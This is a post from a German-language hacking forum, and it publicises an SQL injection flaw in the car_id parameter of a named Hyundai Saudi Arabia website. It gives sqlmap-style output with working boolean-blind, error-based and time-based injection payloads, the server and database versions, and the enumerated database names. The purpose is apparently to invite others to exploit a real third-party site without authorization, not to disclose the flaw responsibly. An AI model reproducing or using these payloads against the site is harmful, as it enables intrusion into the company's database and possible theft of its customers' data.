Zum Inhalt wechseln

Als Gast hast du nur eingeschränkten Zugriff!


Anmelden 

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Foto

[SQLI] www.hyundai-saudiarabia.com

- - - - -

  • Bitte melde dich an um zu Antworten
Keine Antworten in diesem Thema

#1
Ragnarök

Ragnarök

    Noob

  • Members
  • PIPPIP
  • Likes
    6
  • 9 Beiträge
  • 31 Bedankt

http://www.hyundai-saudiarabia.com/en/index.php?car_id=26 (GET)

Parameter: car_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: car_id=26' AND 6412=6412 AND 'lUli'='lUli
 
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: car_id=26' AND (SELECT 7413 FROM(SELECT COUNT(*),CONCAT(0x7170787871,(SELECT (CASE WHEN (7413=7413) THEN 1 ELSE 0 END)),0x7178626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'fbEe'='fbEe
 
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: car_id=26' AND SLEEP(5) AND 'YJZb'='YJZb
---
web application technology: Apache 2.2.29, PHP 5.4.35
back-end DBMS: MySQL 5.0
available databases [2]:
[*] information_schema
[*] naghihyundainew




  Thema Forum Themenstarter Statistik Letzter Beitrag

Besucher die dieses Thema lesen:

Mitglieder: , Gäste: , unsichtbare Mitglieder:


Dieses Thema wurde von 6 Mitglied(ern) gelesen


    abramas, connecting, igorborisvas, Norky, prto, riki-r0ki
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.